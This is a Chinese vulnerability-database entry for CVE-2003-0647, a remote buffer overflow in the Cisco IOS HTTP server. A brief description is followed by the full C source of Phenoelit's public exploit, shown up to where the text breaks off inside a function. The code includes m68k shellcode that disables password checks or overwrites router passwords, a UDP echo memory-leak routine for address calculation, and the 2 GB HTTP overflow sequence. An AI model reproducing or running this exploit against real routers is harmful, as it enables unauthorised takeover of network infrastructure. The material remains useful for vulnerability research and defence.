Cisco IOS 2GB HTTP GET远程缓冲区溢出漏洞
漏洞ID | 1107446 | 漏洞类型 | 未知 |
发布时间 | 2003-08-10 | 更新时间 | 2003-08-27 |
CVE编号 | CVE-2003-0647 |
CNNVD-ID | CNNVD-200308-123 |
漏洞平台 | Hardware | CVSS评分 | 7.5 |
|漏洞来源
|漏洞详情
CiscoIOS是部署非常广泛的网络操作系统。很多Cisco设备都运行IOS。CiscoIOS设备的HTTP服务程序没有正确处理超大数据请求,远程攻击者可以利用这个漏洞对服务进行缓冲区溢出攻击,可能以系统权限在设备上运行任意指令。如果CISCOIOS开启了http服务,攻击者发送特殊构建的包含2Gb的数据的HTTPGET请求,可导致触发缓冲区溢出,造成设备重起,或者存在以系统权限执行任意指令的可能。
|漏洞EXP
/*
* ..--==[[ Phenoelit ]]==--..
* /
* | CISCO CASUM EST |
* .. ../
* ~~---==(MMIII)==---~~
*
*
* Cisco IOS 12.x/11.x remote exploit for HTTP integer overflow in URL using
* IOS 11.x UDP Echo memory leak for shellcode placing and address calculation.
*
* This code does support exploitation of any 11.x Cisco 1600 and 2500 series
* running "ip http server" and "service udp-small-servers". In other words,
* port 80 TCP and port 7 UDP have to be open. The exploitation will take a
* very long time since the overflow is triggered by sending 2 Gigabytes of
* data to the device. Depending on your connection to the target, this may
* take up to several DAYS.
*
* Shellcodes:
* o In case a 1600 running 11.3(11b) IP only is detected, a runtime IOS
* patching shellcode is used. After that, the device will no longer
* validate VTY and enable access passwords. Mission accomplished.
* o In case of any other 11.x IOS or in case it runs from flash where
* code patching is more complicated, the shellcode will replace all
* passwords in the config with "phenoelit" and reboot the box. Change
* the passwords in the shellcodes if you like.
*
* ---
* FX of Phenoelit <fx at phenoelit.de>
*
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <rpc/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include "protocols.h"
#include "packets.h"
char m68nop[] = "x4Ex71";
char returncode[] =
"x24x7cx02x0bxfex30" //moveal #34340400,%a2 (0x00000000)
"x34xbcx4ex75" //movew #20085,%a2@ (0x00000006)
"x24x7cx02x04xaexfa" //moveal #33861370,%a2 (0x0000000A)
"x24xfcx30x3cx00x01" //movel #809238529,%a2@+ (0x00000010)
"x24xfcx4cxeex04x0c" //movel #1290667020,%a2@+ (0x00000016)
"x24xfcxffxf4x4ex5e" //movel #-766370,%a2@+ (0x0000001C)
"x24xfcx4ex75x00x00" //movel #1316290560,%a2@+ (0x00000022)
"x24x7cx02x07x21x6a" //moveal #34021738,%a2 (0x00000028)
"x34xbcx4ex71" //movew #20081,%a2@ (0x0000002E)
"x24x4f" //moveal %sp,%a2 (0x00000032)
"x0cx1fx00x02" //cmpib #2,%sp@+ (0x00000034)
"x0cx97x02x19xfcxc0" //cmpil #35257536,%sp@ (0x00000038)
"x66x00xffxf4" //bnew 34 <findret> (0x0000003E)
"x24x8f" //movel %sp,%a2@ (0x00000042)
"x59x92" //subql #4,%a2@ (0x00000044)
"x2cx52" //moveal %a2@,%fp (0x00000046)
"x42x80" //clrl %d0 (0x00000048)
"x4cxeex04x00xffxfc" //moveml %fp@(-4),%a2 (0x0000004A)
"x4ex5e" //unlk %fp (0x00000050)
"x4ex75" //rts (0x00000052)
;
char modcfg[] =
"x20x7cx0fxf0x10xc2" //moveal #267391170,%a0 (0x00000000)
"xe2xd0" //lsrw %a0@ (0x00000006)
"x46xfcx27x00" //movew #9984,%sr (0x00000008)
"x20x7cx0fxf0x10xc2" //moveal #267391170,%a0 (0x0000000C)
"x30xbcx00x01" //movew #1,%a0@ (0x00000012)
"x20x7cx0ex00x00x00" //moveal #234881024,%a0 (0x00000016)
"x54x88" //addql #2,%a0 (0x0000001C)
"x0cx50xabxcd" //cmpiw #-21555,%a0@ (0x0000001E)
"x66xf8" //bnes 1c <find_magic> (0x00000022)
"x22x48" //moveal %a0,%a1 (0x00000024)
"x58x89" //addql #4,%a1 (0x00000026)
"x24x49" //moveal %a1,%a2 (0x00000028)
"x50x8a" //addql #8,%a2 (0x0000002A)
"x50x8a" //addql #8,%a2 (0x0000002C)
"x0cx12x00x00" //cmpib #0,%a2@ (0x0000002E)
"x67x28" //beqs 5c <end_of_config> (0x00000032)
"x4bxfax00xc6" //lea %pc@(fc <S_password>),%a5 (0x00000034)
"x61x5a" //bsrs 94 <strstr> (0x00000038)
"x4ax80" //tstl %d0 (0x0000003A)
"x67x08" //beqs 46 <next1> (0x0000003C)
"x28x40" //moveal %d0,%a4 (0x0000003E)
"x4bxfax00xcf" //lea %pc@(111 <REPLACE_password>),%a5 (0x00000040)
"x61x62" //bsrs a8 <nvcopy> (0x00000044)
"x4bxfax00xc0" //lea %pc@(108 <S_enable>),%a5 (0x00000046)
"x61x48" //bsrs 94 <strstr> (0x0000004A)
"x4ax80" //tstl %d0 (0x0000004C)
"x67x08" //beqs 58 <next2> (0x0000004E)
"x28x40" //moveal %d0,%a4 (0x00000050)
"x4bxfax00xc8" //lea %pc@(11c <REPLACE_enable>),%a5 (0x00000052)
"x61x50" //bsrs a8 <nvcopy> (0x00000056)
"x52x8a" //addql #1,%a2 (0x00000058)
"x60xd2" //bras 2e <modmain> (0x0000005A)
"x32xbcx00x00" //movew #0,%a1@ (0x0000005C)
"x7ex01" //moveq #1,%d7 (0x00000060)
"x2cx3cx00x00xffxff" //movel #65535,%d6 (0x00000062)
"x9dx47" //subxw %d7,%d6 (0x00000068)
"x6bxfc" //bmis 68 <chksm_delay> (0x0000006A)
"x2ax48" //moveal %a0,%a5 (0x0000006C)
"x61x50" //bsrs c0 <chksum> (0x0000006E)
"x32x86" //movew %d6,%a1@ (0x00000070)
"x7ex01" //moveq #1,%d7 (0x00000072)
"x28x3cx00x00xffxff" //movel #65535,%d4 (0x00000074)
"x99x47" //subxw %d7,%d4 (0x0000007A)
"x6bxfc" //bmis 7a <final_delay> (0x0000007C)
"x46xfcx27x00" //movew #9984,%sr (0x0000007E)
"x20x7cx0fxf0x00x00" //moveal #267386880,%a0 (0x00000082)
"x2ex50" //moveal %a0@,%sp (0x00000088)
"x20x7cx0fxf0x00x04" //moveal #267386884,%a0 (0x0000008A)
"x20x50" //moveal %a0@,%a0 (0x00000090)
"x4exd0" //jmp %a0@ (0x00000092)
"x28x4a" //moveal %a2,%a4 (0x00000094)
"x0cx15x00x00" //cmpib #0,%a5@ (0x00000096)
"x67x08" //beqs a4 <strstr_endofstr> (0x0000009A)
"xb9x0d" //cmpmb %a5@+,%a4@+ (0x0000009C)
"x67xf6" //beqs 96 <strstr_2> (0x0000009E)
"x42x80" //clrl %d0 (0x000000A0)
"x4ex75" //rts (0x000000A2)
"x20x0c" //movel %a4,%d0 (0x000000A4)
"x4ex75" //rts (0x000000A6)
"x7ex01" //moveq #1,%d7 (0x000000A8)
"x0cx15x00x00" //cmpib #0,%a5@ (0x000000AA)
"x67x0e" //beqs be <nvcopy_end> (0x000000AE)
"x18xdd" //moveb %a5@+,%a4@+ (0x000000B0)
"x2cx3cx00x00xffxff" //movel #65535,%d6 (0x000000B2)
"x9dx47" //subxw %d7,%d6 (0x000000B8)
"x6bxfc" //bmis b8 <nvcopy_delay> (0x000000BA)
"x60xec" //bras aa <nvcopyl1> (0x000000BC)
"x4ex75" //rts (0x000000BE)
"x42x87" //clrl %d7 (0x000000C0)
"x42x80" //clrl %d0 (0x000000C2)
"x0cx55x00x00" //cmpiw #0,%a5@ (0x000000C4)
"x66x0a" //bnes d4 <chk_hack> (0x000000C8)
"x52x80" //addql #1,%d0 (0x000000CA)
"x0cx80x00x00x00x0a" //cmpil #10,%d0 (0x000000CC)
"x67x08" //beqs dc <chk2> (0x000000D2)
"x42x86" //clrl %d6 (0x000000D4)
"x3cx1d" //movew %a5@+,%d6 (0x000000D6)
"xdex86" //addl %d6,%d7 (0x000000D8)
"x60xe8" //bras c4 <chk1> (0x000000DA)
"x2cx07" //movel %d7,%d6 (0x000000DC)
"x2ax07" //movel %d7,%d5 (0x000000DE)
"x02x86x00x00xffxff" //andil #65535,%d6 (0x000000E0)
"xe0x8d" //lsrl #8,%d5 (0x000000E6)
"xe0x8d" //lsrl #8,%d5 (0x000000E8)
"xdcx45" //addw %d5,%d6 (0x000000EA)
"x28x06" //movel %d6,%d4 (0x000000EC)
"x02x84xffxffx00x00" //andil #-65536,%d4 (0x000000EE)
"x66x00xffxea" //bnew e0 <chk3> (0x000000F4)
"x46x46" //notw %d6 (0x000000F8)
"x4ex75" //rts (0x000000FA)
"x0a"" password ""x00"
"x0a""enable ""x00"
"phenoelitx0a""x00"
"password phenoelitx0a""x00"
;
char modcfg2k5[] =
"x46xfcx27x00" //movew #9984,%sr (0x00000000)
"x20x7cx02x00x00x00" //moveal #33554432,%a0 (0x00000004)
"x54x88" //addql #2,%a0 (0x0000000A)
"x0cx50xabxcd" //cmpiw #-21555,%a0@ (0x0000000C)
"x66xf8" //bnes a <find_magic> (0x00000010)
"x22x48" //moveal %a0,%a1 (0x00000012)
"x58x89" //addql #4,%a1 (0x00000014)
"x24x49" //moveal %a1,%a2 (0x00000016)
"x50x8a" //addql #8,%a2 (0x00000018)
"x50x8a" //addql #8,%a2 (0x0000001A)
"x0cx12x00x00" //cmpib #0,%a2@ (0x0000001C)
"x67x28" //beqs 4a <end_of_config> (0x00000020)
"x4bxfax00xd6" //lea %pc@(fa <S_password>),%a5 (0x00000022)
"x61x6a" //bsrs 92 <strstr> (0x00000026)
"x4ax80" //tstl %d0 (0x00000028)
"x67x08" //beqs 34 <next1> (0x0000002A)
"x28x40" //moveal %d0,%a4 (0x0000002C)
"x4bxfax00xdf" //lea %pc@(10f <REPLACE_password>),%a5 (0x0000002E)
"x61x72" //bsrs a6 <nvcopy> (0x00000032)
"x4bxfax00xd0" //lea %pc@(106 <S_enable>),%a5 (0x00000034)
"x61x58" //bsrs 92 <strstr> (0x00000038)
"x4ax80" //tstl %d0 (0x0000003A)
"x67x08" //beqs 46 <next2> (0x0000003C)
"x28x40" //moveal %d0,%a4 (0x0000003E)
"x4bxfax00xd8" //lea %pc@(11a <REPLACE_enable>),%a5 (0x00000040)
"x61x60" //bsrs a6 <nvcopy> (0x00000044)
"x52x8a" //addql #1,%a2 (0x00000046)
"x60xd2" //bras 1c <modmain> (0x00000048)
"x42x80" //clrl %d0 (0x0000004A)
"x2ax49" //moveal %a1,%a5 (0x0000004C)
"x52x00" //addqb #1,%d0 (0x0000004E)
"x1axfcx00x00" //moveb #0,%a5@+ (0x00000050)
"x7ex01" //moveq #1,%d7 (0x00000054)
"x2cx3cx00x00xffxff" //movel #65535,%d6 (0x00000056)
"x9dx47" //subxw %d7,%d6 (0x0000005C)
"x6bxfc" //bmis 5c <chksm_delay> (0x0000005E)
"x0cx00x00x02" //cmpib #2,%d0 (0x00000060)
"x66xe8" //bnes 4e <chksm_del> (0x00000064)
"x2ax48" //moveal %a0,%a5 (0x00000066)
"x61x54" //bsrs be <chksum> (0x00000068)
"x2ax49" //moveal %a1,%a5 (0x0000006A)
"x52x8d" //addql #1,%a5 (0x0000006C)
"x42x80" //clrl %d0 (0x0000006E)
"x52x00" //addqb #1,%d0 (0x00000070)
"x1ax86" //moveb %d6,%a5@ (0x00000072)
"x7ex01" //moveq #1,%d7 (0x00000074)
"x28x3cx00x00xffxff" //movel #65535,%d4 (0x00000076)
"x99x47" //subxw %d7,%d4 (0x0000007C)
"x6bxfc" //bmis 7c <final_delay> (0x0000007E)
"xe0x4e" //lsrw #8,%d6 (0x00000080)
"x2ax49" //moveal %a1,%a5 (0x00000082)
"x0cx00x00x02" //cmpib #2,%d0 (0x00000084)
"x66xe6" //bnes 70 <final_wr> (0x00000088)
"x20x7cx03x00x00x60" //moveal #50331744,%a0 (0x0000008A)
"x4exd0" //jmp %a0@ (0x00000090)
"x28x4a" //moveal %a2,%a4 (0x00000092)
"x0cx15x00x00" //cmpib #0,%a5@ (0x00000094)
"x67x08" //beqs a2 <strstr_endofstr> (0x00000098)
"xb9x0d" //cmpmb %a5@+,%a4@+ (0x0000009A)
"x67xf6" //beqs 94 <strstr_2> (0x0000009C)
"x42x80" //clrl %d0 (0x0000009E)
"x4ex75" //rts (0x000000A0)
"x20x0c" //movel %a4,%d0 (0x000000A2)
"x4ex75" //rts (0x000000A4)
"x7ex01" //moveq #1,%d7 (0x000000A6)
"x0cx15x00x00" //cmpib #0,%a5@ (0x000000A8)
"x67x0e" //beqs bc <nvcopy_end> (0x000000AC)
"x18xdd" //moveb %a5@+,%a4@+ (0x000000AE)
"x2cx3cx00x00xffxff" //movel #65535,%d6 (0x000000B0)
"x9dx47" //subxw %d7,%d6 (0x000000B6)
"x6bxfc" //bmis b6 <nvcopy_delay> (0x000000B8)
"x60xec" //bras a8 <nvcopyl1> (0x000000BA)
"x4ex75" //rts (0x000000BC)
"x42x87" //clrl %d7 (0x000000BE)
"x42x80" //clrl %d0 (0x000000C0)
"x0cx55x00x00" //cmpiw #0,%a5@ (0x000000C2)
"x66x0a" //bnes d2 <chk_hack> (0x000000C6)
"x52x80" //addql #1,%d0 (0x000000C8)
"x0cx80x00x00x00x14" //cmpil #20,%d0 (0x000000CA)
"x67x08" //beqs da <chk2> (0x000000D0)
"x42x86" //clrl %d6 (0x000000D2)
"x3cx1d" //movew %a5@+,%d6 (0x000000D4)
"xdex86" //addl %d6,%d7 (0x000000D6)
"x60xe8" //bras c2 <chk1> (0x000000D8)
"x2cx07" //movel %d7,%d6 (0x000000DA)
"x2ax07" //movel %d7,%d5 (0x000000DC)
"x02x86x00x00xffxff" //andil #65535,%d6 (0x000000DE)
"xe0x8d" //lsrl #8,%d5 (0x000000E4)
"xe0x8d" //lsrl #8,%d5 (0x000000E6)
"xdcx45" //addw %d5,%d6 (0x000000E8)
"x28x06" //movel %d6,%d4 (0x000000EA)
"x02x84xffxffx00x00" //andil #-65536,%d4 (0x000000EC)
"x66x00xffxea" //bnew de <chk3> (0x000000F2)
"x46x46" //notw %d6 (0x000000F6)
"x4ex75" //rts (0x000000F8)
"x0a"" password ""x00"
"x0a""enable ""x00"
"phenoelitx0a""x00"
"password phenoelitx0a""x00"
;
//
// address selection strategies
//
#define S_RANDOM 1
#define S_LAST 2
#define S_SMALLEST 3
#define S_HIGHEST 4
#define S_FREQUENT 5
typedef struct {
unsigned int a;
unsigned int count;
} addrs_t;
#define LOW_ADDR_THR 5
#define LOW_COUNT_THR 3
//
// IO memory block header based fingerprinting
//
static struct {
unsigned int PC_start;
unsigned int PC_end;
unsigned int IO_start;
unsigned int IO_end;
char *name;
unsigned char *code;
unsigned int codelen;
unsigned char *nop;
unsigned int noplen;
unsigned int fakefp;
} cisco_boxes[] = {
{0x08000000, 0x08ffffff, 0x02C00000, 0x02FFFFFF,
"Cisco 1600 series, run from Flash",
modcfg, sizeof(modcfg)-1,
m68nop, sizeof(m68nop)-1 ,
0x02f0f1f2
},
{0x0208F600, 0x0208F93C, 0x02C00000, 0x02FFFFFF,
"Cisco 1603, 11.3(11b) IP only, run from RAM",
returncode, sizeof(returncode)-1,
m68nop, sizeof(m68nop)-1 ,
0x02f0f1f2
},
{0x03000000, 0x037FFFFF, 0x00E00000, 0x00FFFFFF,
"Cisco 2500 series, run from Flash",
modcfg2k5, sizeof(modcfg2k5)-1,
m68nop, sizeof(m68nop)-1,
0x00079000
},
{0,0,0,0,NULL,NULL,0,NULL,0,0}
};
// ***************** Status and other tracking *******************
//
// HTTP communication
//
struct {
int sfd;
unsigned int done;
} http;
//
// UDP leak
//
#define MAXADDRS 100
#define DEFAULTRUNS 206
#define LOCALPORT 31336 // almost 31337 ;)
#define PACKETMAX 1400
struct {
int sfd;
int udpsfd;
int guess;
addrs_t addrs[MAXADDRS];
unsigned int addrc;
unsigned int lastaddr;
int nop_offset;
int nop_sled;
} leak;
//
// config
//
struct {
char *device;
char *target;
struct in_addr target_addr;
int verbose;
int testmode;
int strategy;
unsigned int leakme;
unsigned int timeout;
unsigned int leakruns;
} cfg;
//
// function prototypes
//
void usage(char *s);
void *smalloc(size_t s);
int HTTPpre(void);
void HTTPsend(char *what);
int IOSlack(unsigned int runs, int shellcode);
unsigned char *UDPecho( unsigned int *plen,
unsigned char *payload, unsigned int payload_len);
void UDPanalyze(unsigned char *b, unsigned int len,
unsigned char *expected, unsigned int expected_length);
unsigned int SelectAddress(void);
int CheckForbidden(unsigned int address);
// *************************** main code *************************
int main(int argc, char **argv) {
//
// HTTP elements
//
char token6[] ="/Cisco";
char token50[]="/AnotherLemmingAndAntoherLemmingAndAnotherLemmingX";
char token48[]="/HereComesTheFinalLemmingAndClosesTheGapForever/";
char httpend[]=" HTTP/1.0rnrn";
char overflow[30];
//
// stuff we need
//
unsigned int i;
int saved_guess;
unsigned int retaddr;
//
// command line
//
char option;
extern char *optarg;
//
// output stuff
//
double percent;
double lpercent=(double)0;
memset(&cfg,0,sizeof(cfg));
memset(&leak,0,sizeof(leak));
memset(&http,0,sizeof(http));
//
// set defaults
//
cfg.leakme=0x4C00;
cfg.timeout=3;
cfg.leakruns=DEFAULTRUNS;
cfg.strategy=S_SMALLEST;
while ((option=getopt(argc,argv,"vTA:t:L:R:d:i:"))!=EOF) {
switch(option) {
case 'v': cfg.verbose++;
break;
case 'T': cfg.testmode++;
break;
case 'A': cfg.strategy=(int)strtoul(optarg,(char **)NULL,10);
break;
case 't': cfg.timeout=(int)strtoul(optarg,(char **)NULL,10);
break;
case 'L': cfg.leakme=(int)strtoul(optarg,(char **)NULL,10);
break;
case 'R': cfg.leakruns=(int)strtoul(optarg,(char **)NULL,10);
break;
case 'd': {
struct hostent *he;
if ((he=gethostbyname(optarg))==NULL) {
fprintf(stderr,"Could not resolve %sn",cfg.target);
return (-1);
}
bcopy(he->h_addr,
(char *)&(cfg.target_addr.s_addr),
he->h_length);
cfg.target=smalloc(strlen(optarg)+1);
strcpy(cfg.target,optarg);
}
break;
case 'i': cfg.device=smalloc(strlen(optarg)+1);
strcpy(cfg.device,optarg);
break;
default: usage(argv[0]);
// does not return
}
}
//
// idiot check
//
if ( !(cfg.device && *((u_int32_t *)&(cfg.target_addr)) ))
usage(argv[0]);
//
// verify the UDP leak and make sure it's a known box
//
if (IOSlack(1,-1)!=0) {
fprintf(stderr,"You need an IOS 11.x target with UDP echo service enabledn"
"for this thing to work. Obviously, you don't have that.n");
return (1);
}
if (leak.guess==(-1)) {
fprintf(stderr,"Apparently, you got a good target, but it's not one of then"
"platforms we got code for. Life sucks.n");
return (1);
} else {
printf("Target identified as '%s'.n",cisco_boxes[leak.guess].name);
if (cfg.verbose) {
printf("Using the following code:n");
hexdump(cisco_boxes[leak.guess].code,
cisco_boxes[leak.guess].codelen);
}
saved_guess=leak.guess;
}
if (leak.lastaddr == 0) {
printf("The memory leak data did not contain enough information ton"
"calculate the addresses correctly. The router may be busy,n"
"in which case this method is likely to fail!n");
return (2);
} else {
printf("Calculated address in test: 0x%08Xn",leak.lastaddr);
}
//
// Connect to HTTP server and send the first "GET "
//
if (HTTPpre()!=0) return 1;
//
// fill normal buffer
//
printf("Sending token50 x 0x5 + token6 ...n");
HTTPsend(token50);
HTTPsend(token50);
HTTPsend(token50);
HTTPsend(token50);
HTTPsend(token50);
HTTPsend(token6);
//
// send enough data to overflow the counter
//
i=1;
printf("Sending token50 x 0x28F5C28 (2 Gigabytes of data)...n");
while (i<=0x28F5C28) {
if (!cfg.testmode) HTTPsend(token50);
http.done+=50;
i++;
//
// output
//
percent = (double)http.done / (double)0x80000000;
if ( percent > lpercent+0.0001 ) {
printf("%5.2f%% donen",percent * 100);
lpercent=percent;
}
}
printf("Sending final token48 ...n");
HTTPsend(token48);
//
// Use infoleak to transfer code and calculate address
//
memset(&leak,0,sizeof(leak));
if (IOSlack(cfg.leakruns,saved_guess)!=0) {
fprintf(stderr,"Your target does no longer leak memory. This could haven"
"several reasons, but it sure prevents you from exploiting it.n");
return (-1);
} else {
printf("Aquired %u addresses with our coden",leak.addrc);
if (leak.addrc<LOW_ADDR_THR) {
printf( "WARNING: This is a low number of addresses.n"
" The target is probably busy!!n");
}
}
if (saved_guess!=leak.guess)
printf("Errrmmm... your target type changed. Just so you know, n"
"it's not supposed to do thatn");
//
// prepare the overflow buffer
//
printf("Selecting address, using nop sled of %u and offset in the sled of %un",
leak.nop_sled, leak.nop_offset);
if ( (retaddr=SelectAddress()) == 0) return (-1);
memset(&overflow,0,sizeof(overflow));
sprintf(overflow,
"BB%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X"
,
(unsigned char)( (cisco_boxes[saved_guess].fakefp>>24)&0xFF),
(unsigned char)( (cisco_boxes[saved_guess].fakefp>>16)&0xFF),
(unsigned char)( (cisco_boxes[saved_guess].fakefp>> 8)&0xFF),
(unsigned char)( (cisco_boxes[saved_guess].fakefp )&0xFF),
(unsigned char)( (retaddr>>24)&0xFF),
(unsigned char)( (retaddr>>16)&0xFF),
(unsigned char)( (retaddr>> 8)&0xFF),
(unsigned char)( (retaddr )&0xFF));
if (cfg.verbose) hexdump(overflow,sizeof(overflow)-1);
//
// perform overflow and overwrite return address
//
printf("Sending overflow of %u bytesn",strlen(overflow));
HTTPsend(overflow);
printf("Sending final HTTP/1.0n");
HTTPsend(httpend);
close(http.sfd);
//
// all done
//
return 0;
}
void usage(char *s) {
fprintf(stderr,"Usage: %s -i <interface> -d <target> [-options]n",s);
fprintf(stderr,"Options are:n"
"-v Verbose mode.n"
"-T Test mode, don't really exploitn"
"-An Address selection strategy. Values are:n"
" 1 (random), 2 (last), 3 (smallest), 4 (highest), 5 (most frequent)n"
"-tn Set timeout for info leak to n secondsn"
"-Ln Set requested memory leak to n bytesn"
"-Rn Set number of final leak runs to nn"
);
exit (1);
}
//
// *********************** HTTP related **************************
//
int HTTPpre(void) {
char get[] = "GET ";
struct sockaddr_in sin;
struct hostent *he;
memset(&sin,0,sizeof(struct sockaddr_in));
if ((he=gethostbyname(cfg.target))==NULL) {
fprintf(stderr,"Could not resolve %sn",cfg.target);
return (-1);
}
sin.sin_family=AF_INET;
sin.sin_port=htons(80);
bcopy(he->h_addr,(char *)&sin.sin_addr,he->h_length);
bzero(&(sin.sin_zero),8);
if ((http.sfd=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
fprintf(stderr,"socket(TCP) errorn");
return(-1);
}
printf("Connecting to HTTP server on %s ...n",cfg.target);
if (connect(http.sfd,(struct sockaddr *)&sin,sizeof(sin))<0) {
fprintf(stderr,"Failed to connect to HTTPn");
return (-1);
}
printf("Connected!n");
//
// send "GET "
//
HTTPsend(get);
return 0;
}
void HTTPsend(char *what) {
if (send(http.sfd,what,strlen(what),0)<0) {
fprintf(stderr,"send() failed!n");
exit(-1);
}
}
//
// *********************** UDP related **************************
//
int IOSlack(unsigned int runs, int shellcode) {
//
// the leak packet
//
#define DUMMY_SIZE 512
unsigned char *packet;
unsigned int length;
char dummy[DUMMY_SIZE];
unsigned char *sc,*st;
unsigned int sclen;
//
// recv stuff
//
char *rbuf;
unsigned int rx;
//
// doing the stuff
//
unsigned int r;
struct sockaddr_in frm;
int frmlen=sizeof(struct sockaddr_in);
fd_set rfds;
struct timeval tv;
int select_ret;
int recvflag;
struct sockaddr_in myself;
//
// init
//
leak.guess=(-1);
r=runs;
recvflag=0;
st=NULL;
//
// get the sockets
//
if ( (leak.sfd=init_socket_IP4(cfg.device,1)) == (-1) ) {
fprintf(stderr,"Couldn't grab a raw socketn");
return (-1);
}
myself.sin_family=AF_INET;
myself.sin_port=htons(LOCALPORT);
myself.sin_addr.s_addr=INADDR_ANY;
if ( (leak.udpsfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP)) <0) {
fprintf(stderr,"Couldn't grab a UDP socketn");
return (-1);
}
if ( bind(leak.udpsfd,(struct sockaddr *)&myself,sizeof(struct sockaddr)) != 0) {
fprintf(stderr,"bind() failedn");
return (-1);
}
//
// determine packet contents and make a packet
//
if (shellcode==(-1)) {
memset(&dummy,0x50,DUMMY_SIZE-1);
dummy[DUMMY_SIZE-1]=0x00;
sc=dummy;
sclen=DUMMY_SIZE-1;
} else {
unsigned char *t;
unsigned int i;
t=sc=st=smalloc(PACKETMAX);
//
// calculate the remaining space for nops
//
leak.nop_sled=PACKETMAX-cisco_boxes[shellcode].codelen;
//
// align
//
while ( (leak.nop_sled % cisco_boxes[shellcode].noplen) != 0)
leak.nop_sled--;
for (i=0;i< (leak.nop_sled/cisco_boxes[shellcode].noplen) ;i++) {
memcpy(t,cisco_boxes[shellcode].nop,cisco_boxes[shellcode].noplen);
t+=cisco_boxes[shellcode].noplen;
}
//
// add the real code
//
memcpy(t,cisco_boxes[shellcode].code,cisco_boxes[shellcode].codelen);
t+=cisco_boxes[shellcode].codelen;
sclen=leak.nop_sled + cisco_boxes[shellcode].codelen;
//
// calculate a nop_offset and align
//
leak.nop_offset=leak.nop_sled * 0.8;
while ( (leak.nop_offset % cisco_boxes[shellcode].noplen) != 0)
leak.nop_offset--;
if (cfg.verbose) hexdump(st,sclen);
}
packet=UDPecho(&length,sc,sclen);
//
// allocate receive buffer
//
rbuf=smalloc(cfg.leakme+0x200);
//
// do it
//
printf("Getting IO memory leak data (%u times) ...n",r);
while (r--) {
sendpack_IP4(leak.sfd,packet,length);
tv.tv_sec=cfg.timeout;
tv.tv_usec=0;
FD_ZERO(&rfds);
FD_SET(leak.udpsfd,&rfds);
select_ret=select(leak.udpsfd+1,&rfds,NULL,NULL,&tv);
if (select_ret>0) {
rx=recvfrom(leak.udpsfd,rbuf,cfg.leakme,0,(struct sockaddr *)&frm,&frmlen);
if (rx<0) {
fprintf(stderr,"UDP recvfrom() failedn");
return (-1);
}
if (cfg.verbose) printf("Received %u bytes datan",rx);
if (cfg.verbose>1) hexdump(rbuf,rx);
recvflag=1;
//
// analyze what we got
//
UDPanalyze(rbuf,rx,sc,sclen);
} else {
printf("Timeout at %u - may be lost packet?n",r);
}
}
//
// clean up
//
free(packet);
free(rbuf);
if (st!=NULL) free(st);
close(leak.sfd);
close(leak.udpsfd);
if (cfg.verbose==0) printf("n"); // be nice
if (recvflag) { return 0; } else { return 1; }
}
unsigned char *UDPecho(
unsigned int *plen, // returned length of packet
unsigned char *payload, // pointer to payload
unsigned int payload_len // length of payload
) {
unsigned char *pack;
iphdr_t *ip;
udphdr_t *udp;
u_char *pay;
u_char *t;
u_int16_t cs;
*plen=sizeof(iphdr_t)+sizeof(udphdr_t)+payload_len;
pack=smalloc(*plen+10);
ip=(iphdr_t *)pack;
ip->version=4;
ip->ihl=sizeof(iphdr_t)/4;
ip->ttl=0x80;
ip->protocol=IPPROTO_UDP;
memcpy(&(ip->saddr.s_addr),&(packet_ifconfig.ip.s_addr),IP_ADDR_LEN);
memcpy(&(ip->daddr.s_addr),&(cfg.target_addr),IP_ADDR_LEN);
udp=(udphdr_t *)((void *)ip+sizeof(iphdr_t));
udp->sport=htons(LOCALPORT);
udp->dport=htons(7);
udp->length=htons(cfg.leakme);
pay=(u_char *)((void *)udp+sizeof(udphdr_t));
t=pay;
memcpy(pay,payload,payload_len);
t+=payload_len;
ip->tot_len=htons(*plen);
cs=chksum((u_char *)ip,sizeof(iphdr_t));
ip->check=cs;
if (cfg.verbose>1) hexdump(pack,*plen);
return pack;
}
void UDPanalyze(unsigned char *b, unsigned int len,
unsigned char *expected, unsigned int expected_length) {
#define ST_MAGIC 1
#define ST_PID 2
#define ST_CHECK 3
#define ST_NAME 4
#define ST_PC 5
#define ST_NEXT 6
#define ST_PREV 7
#define ST_SIZE 8
#define ST_REF 9
#define ST_LASTDE 10
#define ST_ID_ME_NOW 100
unsigned char *p;
int state=0;
int i=0;
unsigned char *opcode_begin;
unsigned char *block2_next_field;
unsigned int block3_next_val;
unsigned int p_name;
unsigned int p_pc;
unsigned int p_next;
unsigned int p_prev;
opcode_begin=NULL;
block2_next_field=NULL;
block3_next_val=0;
if ((!memcmp(b,expected,expected_length))) {
if (cfg.verbose>1) printf("Payload found!n");
opcode_begin=b;
}
p=b;
while ((b+len-4)>p) {
if ( (p[0]==0xfd) && (p[1]==0x01) && (p[2]==0x10) && (p[3]==0xDF) ) {
if (cfg.verbose>1) printf("REDZONE MATCH!n");
else { printf("!"); fflush(stdout); }
state=ST_MAGIC;
p+=4;
}
switch (state) {
case ST_MAGIC:
if (cfg.verbose)
printf("MEMORY BLOCKn");
state++;
p+=4;
break;
case ST_PID:
if (cfg.verbose)
printf("tPID : %08Xn",ntohl(*(unsigned int *)p));
state++;
p+=4;
break;
case ST_CHECK:
if (cfg.verbose)
printf("tAlloc Check: %08Xn",ntohl(*(unsigned int *)p));
state++;
p+=4;
break;
case ST_NAME:
p_name=ntohl(*(unsigned int *)p);
if (cfg.verbose)
printf("tAlloc Name : %08Xn",p_name);
state++;
p+=4;
break;
case ST_PC:
p_pc=ntohl(*(unsigned int *)p);
if (cfg.verbose)
printf("tAlloc PC : %08Xn",p_pc);
state++;
p+=4;
break;
case ST_NEXT:
p_next=ntohl(*(unsigned int *)p);
if (cfg.verbose)
printf("tNEXT Block : %08Xn",p_next);
if (block2_next_field==NULL) {
if (cfg.verbose) printf("Assigning as block2_next_fieldn");
block2_next_field=p;
} else if (block3_next_val==0) {
if (cfg.verbose) printf("Assigning as block3_next_valn");
block3_next_val=p_next;
}
state++;
p+=4;
break;
case ST_PREV:
p_prev=ntohl(*(unsigned int *)p);
if (cfg.verbose)
printf("tPREV Block : %08Xn",p_prev);
state++;
p+=4;
break;
case ST_SIZE:
if (cfg.verbose)
printf("tBlock Size : %8u words",
ntohl(*(unsigned int *)p)&0x7FFFFFFF);
if (ntohl(*(unsigned int *)p)&0x80000000) {
if (cfg.verbose)
printf(" (Block in use)n");
} else {
